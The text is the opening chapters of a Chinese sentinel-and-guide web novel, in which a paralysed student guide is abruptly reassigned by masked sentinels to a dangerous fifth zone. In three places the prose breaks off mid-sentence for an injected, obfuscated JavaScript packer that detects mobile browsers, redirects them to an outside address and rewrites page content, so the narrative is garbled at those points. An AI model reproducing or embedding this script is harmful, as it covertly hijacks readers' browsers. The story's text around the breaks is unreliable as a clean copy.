《这个真不能摸》 1. Chap.1 当太阳从东边升起，向导学院内，晨雾终于有了消散的迹象。 教学部三楼，年轻女孩儿坐在导师办公室里，借着身侧玻璃窗，垂眼看向楼下，此刻，那条由灰白石砖铺就的路面上，数百名年轻学员正以班级为单位集合排队，场面看起来热闹得很。 这批学员都还不足二十岁，正是意气风发的年纪，即使这会儿都换上深沉的黑色军式制服，依旧挡不住周身蓬勃的朝气。 一如天边刚刚突破黑暗封锁的旭日。 今天是个好天气，星岚看着在艳阳下说笑的同学们，不自觉靠窗户更近了些，手掌也无意识撑上了玻璃。 然而，屋外的气温远没有看起来那么暖和，明亮的玻璃窗同样泛着看不见的森森寒气，从指尖传来的冰凉触感几乎瞬间便唤醒了她的神智。 星岚视线重新聚焦，下一秒，她看着视野内自己毫无血色的手，以及窗面倒映出的苍白面容，眼底眸光逐渐黯淡。 今天是三月初九，向导学院所有高级部学员离校正式实习的日子。 教学部楼前的小广场上，数辆蓝色大巴已经等在指定地点，队伍最前方，一名带班导师将集合完毕的A班学员送上第一辆大巴后，低声朝司机嘱咐几句，便在学员们混杂着紧张与期待的目光里，转身下了车。 似是没想到他会离开，学员们看着消失在窗外的人影，面面相觑。 但没过多久，另一位平时负责教导A班格斗课的中年男人出现在车上，他并不是精神力觉醒者，肌肉虬结的身体却没少让精神力偏辅助和净化的向导们吃苦头，车上原本还在窃窃私语的学员看见他，只觉曾经受过伤的地方又开始隐隐作痛，一时间纷纷噤声。 直到司机关上门准备发车，才有学员忍不住举手提问：“罗尔导师，今天不是佐文导师送我们去机场吗？” 按照学院惯例，学员离校实习当天，都是由带班导师负责将他们送往机场，和交接区派来接人的哨兵们汇合，过去三年里，A班的带班导师一直是佐文，按理来说，今天也该是他跟车才对。 罗尔自然明白学员们的困惑，但他正努力将自己塞进第一排的单人座椅里，完全没耐心应付身后好奇心旺盛的小崽子们，直接仰脖粗声道：“怎么？看见是我不满意？” 听见这话，最先发问的学员连忙摇头，生怕被误会——罗尔导师向来性情急躁，他还不想临走前再被加训一场。 车内再度恢复了安静，罗尔没有在意后排学员们乱飞的眼神，自顾系好安全带后，便朝看过来的司机点了下头，示意可以出发了。 在向导学院任教近二十年，就算不是这一届的带班导师，罗尔对送学员离校实习的流程也已经熟悉得很。 眼下，只要把学生们完完整整送到机场，他今天的任务就算完成了。 机场离向导学院只有几公里，又位于中心基地的核心区域，安全系数很高，走在这条路上，罗尔几乎没什么压力，但看着窗外不断倒退的高楼，他的心情依旧算不上轻松。 事实上，若非是老朋友请他帮忙代班，罗尔完全不想接手这份工作。 交接区一直以来都是哨兵和异变生物们缠斗的主要战场，那里危机四伏，踏足的人类一不小心便会丧命，而车上这些年轻的学员们，大多尚且没有完全理解自己将要面对的是什么，一年后实习期结束，也并非所有学员都能成功回到学院，领取结业证。 也许今天不经意的一眼，就是此生最后一面。 类似的念头总让罗尔感到痛苦和无力，甚至于平日里都在下意识避免与学员们产生更多交集。 他终究只是一个在秩序区才能生存下去的普通人，现状绝非被他这个保护者所能改变的，罗尔看着车窗上不甚清晰的学员倒影，良久沉默。 如今距离世界最初的大灾变已经过去百余年，可这种为了族群延续的“必要牺牲”，不知道还要再持续多久。 大巴顺利启动发车，一辆接一辆驶离了学院内部路，等到小广场恢复往日的宁静，办公室内，星岚听见了不远处响起的开门声。 她回过神，转头礼貌和来人打招呼。 “早上好，佐文老师。” 佐文今年已经四十六岁，不过作为一名觉醒了精神力且早早晋升A级的向导，他看起来远比同龄人要年轻得多，只在银边镜框遮挡的眼尾处，能隐约瞧见些岁月留下的痕迹。 勤于锻炼的身体此刻被包裹在整洁的西装下，削减了身上爆发性的力量感，但他宽阔的肩膀依旧能给人沉稳可靠的信服感。 至少，于星岚而言，对方一直是亦师亦父般的存在。 四年前意外穿越到这个陌生的世界时，是佐文捡到并收留了一无所知的她，第二年她检测出精神力进入向导学院后，他更是竭尽全力培养她…… 星岚搭着身下轮椅的扶手，在心底无声叹息。 可惜，她还是让老师失望了。 佐文安排好去机场的学生后，一路紧赶慢赶，这会儿看见窗边坐在轮椅上的学生，他才微不可见地松了口气，旋即调整呼吸，语气温和道：“小岚，等很久了么？” 星岚摇摇头，熟练操控轮椅转身，回到了办公桌旁，将桌上装有报道材料的文件袋抱入怀中后，她抬起头认真道：“今天也要麻烦老师了。” “你是学生，又是小辈，老师照顾你是应该的。”佐文语调轻松，默契维持住脆弱的平和表象，他走到星岚身后，接替她推着轮椅往门外去，一边如寻常聊天般絮叨着： “今天身体感觉怎么样？你刚出院，还没完全恢复，其实延后几天实习也没事，研究院那边老师还算有点人脉，帮你多请几天假不成问题，精神力暴动毕竟不是小事，千万不要勉强自己……” 佐文性子本就温良，关心学生的时候更显得有几分话痨，相处四年多，星岚早就习惯了他打开话匣子后的状态，耐心等到老师说完，她才一句句回道： “我已经好多了，克洛哀医生也说，以我现在的身体状况，继续住院只会白白浪费信用点，接下来只需要定期去医院做复查就好，至于实习……” 星岚低下头，看着自己毫无知觉的双腿有些出神，上周那场突如其来的精神力暴动，不仅让她的精神海完全紊乱，几乎无法再正常存储和使用精神力，更影响到部分神经功能，间接导致下肢瘫痪。 如无意外，她后半生都将与轮椅为伴。 病情通知传入学院时，如果不是佐文老师坚持保留她的学籍，她现在说不定已经被劝退了。 如今能留在中心基地正常参加实习，星岚已经非常感激对方，实在不想再让老师去卖人情，左右她现在除了行动略有些不便，也就间歇性的头疼偶尔会有点恼人。 前者以目前基地的建设，日常出行和上下楼基本没问题，至于后者，忍一忍也就过去了。 “综合办的赛利卡主任昨晚已经联系过我，他说刚开始不会给我安排太过复杂的实习任务，正好我也需要时间熟悉和适应新的工作内容，早点入职不是坏事。” 学院里的课程都偏实战教学和精神力开发，如今改道去研究院里实习，星岚自觉要抽空再补一补相关的理论知识才行。 她在心底计划着接下来的行程和学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421638|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安排，声音平静如初，佐文听完，神情中却多了一抹难过。 他不曾结婚生子，四年前意外捡到孤身一人的星岚后，就干脆把对方当女儿养了，这四年里，佐文亲眼见证了当初瘦弱的小女孩儿一点点长成年轻一辈的首席，自然没少为她骄傲过。 如今眼睁睁看着明珠再次蒙尘，他又怎能不为此感到悲伤和惋惜。 但眼下，星岚没有自暴自弃已是极为难得，佐文推了推鼻梁上的镜框，一时间也不忍心再多劝说什么，只能欲言又止。 “老师放心，我不会勉强自己。” 星岚看不见佐文的神色变化，却知道他对自己的拳拳爱护之心，在一片沉寂的氛围里，她重新开口，语气缓慢而坚定： “一切都会好起来的。” 无论是她的身体，还是接下来的生活。 少见她这般直白地表露自己的情绪，佐文怔了好一会儿，才深深看了面前学生一眼，从得知星岚住院起便一直紧绷的神经，在这一刻终于有了放松的迹象。 他想：或许该对自己的学生再多一点信任。 她一直都是个坚强的孩子。 楼道内的气氛重新缓和下来，佐文迈着轻快许多的步伐，推着星岚进了左侧的电梯间。 电梯轿厢这会儿在一楼，他先将轮椅停稳，自己走到门边按下上升键的同时，不忘回身继续叮嘱着：“赛利卡也是我的老朋友了，虽然他偶尔有些不着调，但大事上从不含糊，你实习期间如果遇到什么困难，尽管去找他，要是连他都解决不了……” 佐文话音一顿，看着面前文静乖巧的学生，有些不太确定地想： 她应该不会搞出那么大的麻烦吧？ 对面，星岚久久没有等到后文，不由疑惑看向停在电梯门前的老师。 “咳。”佐文虚握右拳，放到嘴边干咳一声，“总之遇上事别老想着一个人吃亏，也别冲在最前面，你当务之急还是养好身体，真出什么问题了，也还有老师在呢。” 说到最后，他的语气重新认真起来，星岚听他如此郑重，当即就要点头应好，下一秒却见电梯门上的指示灯忽然闪烁了两下。 是电梯轿厢上来了。 金属门向着两侧缓缓打开，五六道穿着黑色作战服的健壮身影鱼贯而出，星岚本以为电梯里没有人，见状愕然一惊。 但她本就患有面神经麻痹症，也就是俗称的面瘫，再加上前不久精神力暴动的影响，现在越发难以调动脸部肌肉做表情，因此只是瞳孔微缩，旋即便凝神看着这些陌生人，试图辨别他们的身份。 “你们是谁？” 佐文同样注意到这有些不同寻常的动静，忙背过身将学生护在身后，同时目光警惕地扫向四周从电梯出来后呈包围姿势的几人。 在他问话间，最后一个身形更加高大的男人也已经从电梯里走了出来。 不似前面几个人裹得严严实实，男人一头纯白色碎发在昏暗的电梯间清楚彰显着存在感，黑色作战服贴身勾勒出紧实的肌肉轮廓，搭配超一米九的身高，他仅仅是站在那儿，就带给人一股极强的压迫感。 虽然没戴战术头盔，男人脸上却有张雕着层叠羽毛状暗纹的鹰眼面具，所以同样也看不清具体面容，但透过镶在面具眼部的护目镜，佐文依稀对上了有着淡黄色虹膜的冷厉双眸。 只一眼，他便如同被盘旋在荒原上的猛禽锁定般，后背瞬间冒出一层细密的冷汗。 身侧手指下意识轻蜷，佐文神情前所未有地严肃起来。 他盯着身前男人，眉头紧皱。 “你是哨兵？！” 2. Capt.2 佐文的话一出来，瞬间吸引了星岚的注意力，穿越以来，这还是她第一次在现实世界里如此近距离接触到哨兵。 星岚打量着不远处的白发男人，同为精神力觉醒者，对方看起来远比她要强壮得多。 关于这点，克洛迪雅导师曾在课堂上对自己的学生们做出解释——哨兵和向导的精神力进化方向完全不一样：前者是天生的战士，精神力会不断强化他们的肉.体与五感，而后者更擅长激发人体潜能以及净化污染，自身却并不具备太强的身体素质。 当二者力量结合时，就能发挥出人类目前最顶尖的战斗力，所以，哨兵和向导也是目前维护基地长治久安的主力军。 但对于个人来说，成为觉醒者并不一定就是件好事。 向导即使拥有精神力，依旧无法正面抗击异变生物，且随着精神力不断升阶，还会增加暴动的风险，觉醒者们存储精神力的精神海都位于大脑，一旦精神力发生暴动，如星岚现在这种情况都称得上幸运了。 几乎每年都有向导因为精神力暴动，成为植物人，甚至直接死亡。 研究院早有报告指出，精神力是一把双刃剑，由于它的增长不可逆，一旦开始使用这份力量，哪怕天资再低的向导，早晚也会面临进阶的风险，而迄今为止，基地内成功晋升S级的向导，就只有总指挥官祁鹭一人。 相比之下，哨兵进阶要容易也平和得多，但能力上的缺点同样突出，他们无法自主操控精神力，只能被动接受精神力对身体的改造。 单纯的肉.体强化或许是一件增强体质的好事，长期的五感强化无疑就是一种痛苦的折磨了。 由于五感过强，哨兵的精神状态几乎常年处于失控边缘，所以，他们非必要不会轻易离开哨塔内特制的休息室，极端情况下甚至会靠强制休眠来延长自身保持理智的时间。 除此之外，哨兵还需要定期接受精神疏导，由向导帮忙净化战斗时沾染到的污染物质，否则他们的身体很可能会因为精神海内无法主动排出的污染物质渐渐异化畸变，最终沦为行走的污染源。 也是这个原因，中心基地作为数千万普通民众生活的秩序区，几乎看不见哨兵身影。 毕竟有关哨兵自由留驻基地的风险，已经有太多前车之鉴。 而这也是交接区会出现的历史原因之一。 现在，觉醒精神力的哨兵大多会被送往四大交接区，接受前辈培训后参加人类与异变生物们的战斗，被选入总指挥官近卫队的哨兵们则在中心基地的黑塔内沉睡着，如果没有总指挥官的命令，他们是决不可能主动苏醒并私自外出行动的。 那，这些哨兵是从哪儿冒出来的？ 佐文看着电梯前站姿放松但气场依旧强大的白发男人，大脑飞速转动。 总不会是交接区派来接引实习向导的哨兵吧？所有去交接区实习的学员都会由学院导师直接送到机场，这难道不是常识吗？他们怎么会找到学院里来？ 最重要的是，他们是怎么进来的？ 由于近几年向导的觉醒数量日渐稀少，直接影响便是哨兵失控率和伤亡率逐年上升，学院作为初生向导们成长的摇篮，经不起一丁点风雨，是以各方面检查都颇为严格，绝不可能让陌生人随意混进来，更别提这样一队完全看不出来历的哨兵。 佐文都想不明白的事，星岚作为学员更是一头雾水，不过她好奇心有却不算旺盛，在看清面前的哨兵虽然遮遮掩掩，但还是个人样后，便失了大半兴趣。 而且比起这些拦路的哨兵想做什么，她现在更担心自己会不会第一天实习就迟到，两辈子第一次入职场，她希望能顺利一些。 这样想着，星岚下意识看了眼腕表上的时间。 8：43。 距离正常报道只剩下十七分钟了。 星岚再次抬头，看向同样越过老师朝自己看来的白发哨兵，她发现，对方从电梯里出来后，视线就一直有意无意在自己身上打转，不止是他，周围其他穿着同款黑色作战服的哨兵们也明里暗里在观察她。 哪怕不动用精神力，星岚的情绪感知能力依旧远超常人，更何况他们的目光极具侵略性，让她想忽视都难。 星岚神色淡淡地扫过在场众人，最终重新定格在疑似领头队长的白发哨兵身上，她轻抬下颌，声音冷清平静。 “借过。” 说着，星岚重新启动轮椅来到了老师身旁，俨然一副只是偶然碰上的过路人模样。 鹰眼面具下，白发哨兵双眸微眯，站在唯一的电梯前没有避让，他垂下眼，再度认真端详起停到自己面前的任务目标。 轮椅上的女孩儿无疑是漂亮的，尾端小幅卷曲的暗红色长发此刻如海藻般，随意披散在她身后，瓷白的脸上五官清晰而立体，两鬓碎发修饰了略有些凌厉的面部轮廓，这让她看起来并不像照片里扎着高马尾时那般锋芒毕露。 或许是因为身体没有完全恢复，女孩儿眼底还有几分压不住的倦懒。 而那双与他对视的眼睛是少见的纯黑色，大概是角度问题，她的瞳孔被上眼皮盖住了三分之一，上翘的眼尾竟隐隐给人一种微笑的错觉。 确实是错觉，阿奇伯德可以肯定。 自看见他的第一眼起，小向导脸上的表情就没有过丝毫变化，她看向他时，和看路边的石头没什么区别。 这就是研究院想方设法拦截信息，试图私藏的向导么…… 阿奇伯德收回探究的目光，除了胆子挺大外，原谅他并没看出这个女孩儿有什么特别之处，不过这副面无表情的模样，倒是让他觉得该死的熟悉。 简直和毕夏普那家伙一个模子里刻出来的。 这个念头刚冒出来，阿奇伯德嘴角瞬间下弯，没再浪费时间，他压下心底的烦躁，抬手露出一张准备好的调令。 “很抱歉通知你，星岚向导，你的实习地点要换一换了。” 白发哨兵的声线要比寻常人低上不少，语气却带着几分上扬的轻佻，尤其是念到名字时，仿佛有羽毛划过星岚耳廓，令她莫名发痒。 异样感在脑海转瞬即逝，星岚迟疑着看了眼白发哨兵，对方的神情被面具遮盖，单看外表似乎一切如常，是错觉么？ 没有答案，她干脆转头专心去看对方手中盖了红章的调令。 递到身前的调令不需要她仰头就能完全看清，可当白纸黑字映入眼帘，星岚看着填在调入地区的名字，眼睛瞬间睁圆了不少，这是……要把她重新调去交接区实习？认真的吗？ 倒不是星岚妄自菲薄，恰恰相反，正是因为知道自己的身体情况，所以她才对学院留自己在基地实习的安排没有异议。 星岚很清楚，自己现在就算强行使用精神力，顶多也就能发挥出D级向导的实力，再加上腿脚不便，去了交接区她不仅没有自保能力，反而会给哨兵们拖后腿。 而且，交接区不是只有四个么？ 第五交接区：达克莱斯港是个什么地方？ 星岚一时间有些摸不着头脑，只能将目光投向老师，试图从他口中得到答案，但一旁同样看清了调令内容的佐文神情凝重，已然陷入了自己的思绪之中。 第五区，那不就是传说中的黑暗港口，哨兵异变后的埋骨之地，上面怎么会同意星岚一个年轻向导去那种地方？ 佐文脸色难看，缓缓收紧了身侧双拳。 达克莱斯港里生活的可都是污染值即将突破临界点，甚至是已经突破临界点的哨兵！ 只因如今向导极度稀缺，并不是每一个哨兵都能及时进行精神疏导，更别提还有一个匹配度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421639|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 横亘在哨兵和向导之间。 匹配度决定着向导对哨兵的疏导效率，所以每一届学员开始实习前，学院都会提前一周安排他们做精神力匹配测试，再由总指挥官为他们分配最合适的实习基地。 佐文想百思不得其解，就算星岚之前的测试里与港口部分哨兵匹配度成功达到50%以上，也应该是将这些匹配成功的哨兵和星岚分去其他基地进行治疗，而不是让她直接进入港口实习。 那里的哨兵失控率可比正常交接区要高得多，甚至部分哨兵身体已经异化畸变，星岚现在进去容易，之后再想出来可就难了，更别提她身上还带着伤…… 想到这儿，佐文下意识就要替星岚拒绝：“我们不去。” 阿奇伯德轻啧一声，抱臂环胸上下打量他，“这位先生，第五区也不是什么人都能进的地方。” 佐文沉着脸与他对视，毫不让步，“第五区本就不是向导该去的地方……” “这可是由总指挥官亲自签署的调令，如果你有什么疑问，可以去咨询黑塔或者第五区对外交接办事处，我只是一个接人的。” 阿奇伯德掸了掸手里的调令，直接打断他，余光则看向安静听着两人辩论的小向导，心底悄悄打算盘，虽然小向导看起来身残志坚，胆子也大，但为防万一，还是不要让她提前听见太多第五区的传闻比较好。 外面的传闻七分假三分真，达克莱斯到底是什么样的地方，等小向导去了，自然就知道了。 在中心基地，总指挥官的命令有着绝对的第一优先级，佐文被这样一卡，不得不咽下还未说完的话，再看一旁状况外的学生，他眉头越皱越紧，“你们这样，根本不合规矩，我要求先请示院长。” 哪有跑学院里来抢人的！ 阿奇伯德已经有些不耐烦，要不是任务要求尽量避免与向导学院交恶，而且小向导还挺看重自己老师的，他根本懒得理会眼前这个男人。 脚尖在地面轻点了两下，阿奇伯德语气无所谓道：“你想要找谁请示是你的自由，但我们现在赶时间，先告辞了。” 说着，他就准备去按电梯键，当视线划过一旁沉默的小姑娘，阿奇伯德迈出去的脚顿了下。 “需要再给你点时间告别么？”他问。 星岚正在思考，虽然是第一次听说达克莱斯港的名字，但这个第五区在老师眼里，显然不是什么好地方，否则他不会是这种态度。 可在基地里讨生活，老师和她就不可能明目张胆违反基地的规则，而且，除了最初那些带有审视意味的目光，她并没有从这一队哨兵身上感受到什么恶意。 两个男人无声的对峙中，星岚拉了拉身侧老师的衣袖，“等实习结束，我请老师去喜乐斋吃饭。” 自一百多年前天火带着未知的污染坠落在大海里，整颗星球的生物很快便相继发生了异变，如今能食用的动植物极少，饭菜价格随之水涨船高，大家现在基本都靠研究院发明的平价营养液饱腹。 星岚不喜欢营养液寡淡的味道，这些年领的向导专属补助，除了必要的日常开销，几乎都花在了吃上，喜乐斋就是她最常去的一家餐馆。 佐文看着学生黑白分明的眼睛，离别的酸涩与不安一窝蜂堵在嗓子眼，他狠狠闭了下眼，才哑着嗓子道：“不用费那钱，你想吃什么，回来了老师给你做。” 星岚点头，“那我给老师打下手。” 她厨艺一般，但准备食材不成问题。 佐文眼底微湿，温柔地摸了摸小姑娘发顶，“去吧，老师在家里等你，等明年毕业，给你做一大桌菜庆祝。” 金属门在两道依依不舍的目光里缓缓合拢，只剩一人的楼梯间重新变得空荡起来。 良久，一道近乎叹息的声音响起。 “可惜……” 3. Capt.3 “莉莉，你在看什么？” 客机上，蜜莉恩原本在和其他同学聊天，大家都是第一次离开中心基地，紧张之余，更多的还是兴奋。 再加上导师这会儿并不在机舱里，更准确说，接下来一年他们都不会有机会再见到导师了，大巴上被迫闭麦的年轻人们重新开始了热烈的讨论。 这架飞机里也并不止一个班的学员，大家正好可以借这个机会认识认识。 吵闹之下，身旁的安静便被凸显了出来。 蜜莉恩发现，好友从登机后似乎就没接过话，一心盯着舷窗外的世界，她顺着对方视线看去，却只见到一条条平整宽阔的飞机跑道，更远处是机场的围墙，头顶则是早已看腻的灰蓝色天空。 此刻，装载他们这批学员的客机正沿一条跑道缓慢行进着，附近一成不变的景色实在令人乏味，蜜莉恩不知道好友到底对什么这么入迷，干脆直接问了。 她的声音不算小，不止莉莉安能听见，邻座的同学同样听得很清楚，莉莉安一回头，就对上六七道目光，顿时有些语塞。 她沉默片刻，才慢吞吞道：“我刚才、似乎看见首席了。” 周遭气氛顿时一静。 学员们互相对视一眼，都看见了彼此脸上有些发懵的表情。 “会不会是看错了？” “首席不是精神力暴动住院了么？难道出院了？” “我听说她情况还挺严重的，应该不会参加这次离校实习了吧？” “可那是首席诶，以她的实力，说不定真有奇迹发生呢……” 众人七嘴八舌地讨论起来。 后排有学员撇撇嘴，神情不以为然，虽然院方还没有明确说明星岚的身体状况，但过往凡是精神力发生暴动的，不死也会变成废人一个，她怎么可能再继续去交接区实习，肯定是莉莉安看岔了。 要他说，这首席名号也该易主了。 星岚享受了三年向导最高级别的福利待遇，结果还没去交接区就先倒下了，院里领导怕是对她的意见也不小。 可惜离校实习的时间是定死的，不然他还真想留下来看看热闹。 正想着，身旁的同学忽然戳了戳他，小声道：“布兹，你之前不是一直想和首席去同一个交接区实习，那你知道她最想去哪个基地么？” 布兹脸上表情僵了僵，假笑道：“首席的想法我怎么会知道？伯尼，这个问题你问错人了。” 虽然有匹配度限制，但实习向导们在做完匹配度测试后，依旧是有选择余地的，这年头哨兵数量众多，而向导的精力有限，不可能保证每一个哨兵都得到治疗，且越是高级的向导，能匹配到的治疗对象就越多，当这些哨兵处于不同交接区的数量相差不大时，反选的机会就给到了向导手里。 不过星岚没等到这一步，因为测试结果出来之前，她精神力就先一步发生暴动了，这种情况下，她之前做的匹配测试已然失去了原本的作用。 但客机上的学员们显然对此并不知情。 在学院领导眼中，星岚这位首席不仅是他们着重培养的人选，更是同龄人心中的一道标杆，这场突如其来的精神力暴动影响到的自然也不仅是星岚自己，更可能动摇其他学生的心态，所以学院领导们几乎第一时间就封锁了有关星岚身体情况的各种传闻，只留下零星一点无伤大雅且真假难辨的消息还在小范围内传播。 伯尼没能从布兹这儿得到答案，有些失望地扭头，他明明记得布兹曾说他问过首席这个问题，但当时他觉得是布兹是在吹嘘，并没有认真听，毕竟以首席那生人勿近的气场，根本没几个人敢上去搭话。 现在看来，布兹之前是吹牛的可能性更大了。 少年人并不擅长遮掩情绪，过于直白的眼神刺得布兹额头青筋直跳，但话已经出口，再改口只会被当做在挽尊，他只得恨恨闭嘴，心底不忘再记上一笔。 前面，莉莉安和蜜莉恩也在讨论这个话题。 如果刚才看见的真是首席，那她最有可能是去第三区，因为去往第一区和第二区的客机已经在不久前先一步出发了，她们所在的这架飞机是去第四区的，对方却并没有要上来的意思。 那就只剩下第三交接区了。 蜜莉恩觉得，自己似乎还有当侦探的潜质，听见好友自夸，莉莉安没有反驳她，只是默默朝蜜莉恩竖起大拇指。 即使她心底并不认可这个答案。 莉莉安回忆着不久前在舷窗外看见的那一幕，当时客机正拐着弯驶向目标跑道，就在那短暂的几秒钟时间里，她看见了一抹熟悉的红。 向导没有哨兵的目力好，可就那交错的两眼，已足够她意识到一个问题—— 首席是坐在轮椅上的。 也许是因为她刚出院，身体还比较虚弱？莉莉安试图找到能说服自己的理由，但第六感却指向最糟糕的一种可能。 她和星岚竞争了三年的首席之位，最知道对方的性情，如果可以自己走路，哪怕再难再累星岚都会咬牙坚持。 可她只是安静坐着，被身后的人推往和客机截然相反的方向。 莉莉安再度转头看向舷窗外，双眼却很久都没能聚焦。 太阳越升越高了，明晃晃的，直照得人两眼发晕，远处，一架客机在轰鸣声中向基地北方飞去，更高处的云层里，负责护航的哨兵们收到指令，操控战斗机一路紧随。 日光下，星岚仰头目送它们离开。 昔日的同学都已经踏上了各自的征程，现在，该到她了。 第五区就接收了一个向导，因此使用的飞机型号更小巧，只需要一架飞机就能连她带哨兵一起装下，不过第五区哨兵们这次过来不仅是为了接人，同时也是为了采购一批生活物资，所以他们开的是运输机。 星岚视线下移，打量着不远处的飞机，银灰色的流线型外壳设计让这架运输机看起来颇具后现代科技气息，比起运输，它或许更适合当战斗机。 “这是D5-01退休后改装的轻型运输机，增强了机身防御的同时保留了部分攻击手段，能有效阻拦B级及以下的空中异变生物袭击，单次最多装载60吨货物，驾驶舱可以容纳8个人。” 阿奇伯德停在她旁边介绍道，说完，他忽然侧头问，“喜欢？” 星岚诚实点头。 “这已经是旧款了，回头改个新的给你。” 阿奇伯德扬了扬下巴，语调微抬，听起来心情很不错，他话里的意思却让星岚有些词穷。 在她还要为了吃饭努力赚信用点的时候，居然有人张口就是送飞机，这就是高级哨兵的财力吗？星岚木着脸摇头，“谢谢，不用了。” 虽然她也曾有过一个飞行员梦，但毫无知觉的双腿明显已经不支持她再追梦了。 最重要的是，她养不起一架飞机。 去了交接区后，以她目前能发挥出的D级向导实力，每月到手的信用点顶多能养活自己，除非暴动的后遗症消失，恢复A级水平的她或许可以奢侈一下，至于现在，还是做梦比较实在。 阿奇伯德不明白向导心底的苦，他只知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421640|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己被无情拒绝了。 看着面前还在装货的飞机，阿奇伯德抱着胳膊若有所思，小向导不想要新的，所以她是就喜欢这一款？他目光挑剔地将整架飞机重新审视一遍，作为运输机来说这种型号还算得用，但小向导又不需要送货，不如原来的战机配置，安全又实用。 心底思索着，阿奇伯德已经有了决定，等回去就把这架飞机拉去清洁修检一番，再看看仓库里有没有符合小向导喜好的喷漆，他要多备几个选项。 见面礼可不能给得太随意，已经迟到的见面礼更不行。 飞机装货完毕，两人的闲聊也就此打住。 进入运输机的驾驶舱需要攀爬一段楼梯，星岚生无可恋地抓着扶手，被身后负责给她推车的哨兵连人带轮椅一起抱了上去。 哨兵体能真的很好，负重将近一百公斤爬楼梯依旧气息平稳，如履平地，轮椅顺利落地，星岚缓缓松口气，回头道了声谢。 意外收到的答谢让哨兵愣在原地，他抬起手，像是想挠挠自己后脑勺缓解尴尬，却一把按在了战术头盔上，手上动作顿时更加慌乱，好一会儿他才拘谨地重新站好，轻咳一声道： “没关系，都是我应该做的。” 落入耳中的声音意外地年轻，全然不似他肌肉健壮的外形，柔软的语调更是让星岚瞬间幻视出一个毛茸团子。 这样的反差不由让她对面罩下的脸生出了一丝好奇。 年轻的哨兵还从未被向导这样直白盯过，他低头看着自己脚尖，藏在头盔下的耳尖通红。 这也是他第一次和向导说话，他总忍不住有些紧张，好在发闷的面罩在此刻成了最好的掩体，让他不用担心自己表情管理太过糟糕。 “马吉，你堵在入口做什么？”后上来的哨兵差点撞到他，站稳后随口问了句。 “不好意思！” 马吉回过神，慌忙将轮椅推到之前定好的空位旁，这次，他没有冒然上手，将轮椅固定后，他先低声问：“需要我扶您吗？” 星岚摇摇头，驾驶舱里的椅子不算高，她抓住座椅扶手，胳膊和上肢带着腰腹发力，很快，她轻松将自己从轮椅换到了座位里。 马吉没能派上用场，失落之余又有些惊讶地赞叹道：“你上肢力量很强，是有锻炼过吗？” 星岚点点头，住院前，她一直有健身的习惯，毕竟交接区的情况她不熟悉，说不定还要上战场和哨兵协同作战，提前练出一副好身体总没有坏处。 事实也确实如此。 下肢失去知觉后，她现在几乎都靠上臂发力，也算是另类的验收成果了。 星岚调整了一下坐姿后系上安全带，将自己固定在座椅后，其他哨兵们也已经进了驾驶舱，他们一改先前在外面沉默寡言的模样，仿佛成功回圈的绵羊，围着她咩咩叫了起来。 “你好啊星岚向导，我是萨姆，旁边这位是埃布纳，准备去主副驾驶座的是巴里特和赫尔曼……” 自称萨姆的哨兵语速不算快，但一长串人名砸下来，就算星岚记性再好，脑子也得理一会儿。 像是看出她沉默下的思维混乱，旁边，埃布纳懒洋洋拍了下萨姆的肩膀，笑着打断他，“萨萨，自我介绍前，好歹让大家先摘下头盔，相信我，你的头发远比这顶黑漆漆的头盔更有辨识度。” 萨姆闻言顿了下，随即点头表示认可，伸手飞快把碍事的头盔和面罩摘下来放到一旁，而后笑眯眯重新伸手道：“那就麻烦星岚向导再和我们重新认识一下了。” “萨姆，A级哨兵。” 4. Capt.4 当浓烈的色彩在视野内铺开，星岚整个人都有一瞬间的怔忡。 就像是天边最后一抹残霞照在水面，粼粼波光里，跃动的赤色成了燃烧不息的火焰，那并非纯粹的红，却是落日留给大地最后的炽热明亮。 确实是极具辨识度的发色。 定定看了萨姆几秒，星岚才握住对方伸过来的手，学着他的自我介绍道：“星岚，实习向导。” 小向导的目光看起来过于清正了，萨姆原本有些轻佻的神情不自觉收敛，掌心结结实实传来的抓握感更让他难得有些错愕。 看来，还没人教过这位漂亮姑娘成年人之间的社交礼仪。 但这种直率的肢体动作并不让人感到讨厌，萨姆嘴角笑意不变，头顶垂下的阴影里，琥珀色眼眸深邃，他正打算不要脸地反握回去，旁边同样摘下头盔和面罩的埃布纳熟练拍开好友的手，握着小向导的指尖微微俯首道： “埃布纳，A级哨兵。” 他嗓音温柔醇厚，留着哨兵中少见的长发，绸缎质地的耀蓝自发顶向下渐变为翠绿色，同样是极为引人注目的鲜亮。 不过星岚这次惊讶的是——两人竟然都是A级？ 